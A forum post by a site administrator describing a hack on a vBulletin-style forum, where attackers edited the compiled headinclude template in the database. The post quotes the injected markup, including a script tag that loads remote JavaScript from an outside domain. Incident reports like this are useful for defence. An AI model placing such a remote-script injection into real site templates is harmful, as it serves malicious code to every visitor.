How to use external.php to inject a call to a javascript?

[Spinball]

We were hacked last night. Somehow they used external.php called in the headinclude template to include a chinese .js:

<link rel="alternate" type="application/rss+xml" title="AVForums.com RSS Feed" href="http://www.avforums.com/forums/external.php?type=RSS2" /> <script type="text/javascript" src="http://www.veggiezjuly.org/eos.js?sscoo"></script><script type="text/javascript" src="http://www.avforums.com/forums/clientscript/ame.js" >

I closed the site, edited headinclude to remove the external.php reference to check that it was the cause. It was. Then I re-added the line but the chinese js code did not reappear.

Does anyone have any idea how they did this?
There was no change to the plugins, files, access via the control panel or anything else suspicious which we could spot.

--------------- Added [DATE]1338890536[/DATE] at [TIME]1338890536[/TIME] ---------------

Ok, it seems they edited the template table, inserting a link to their js into the compiled headinclude template.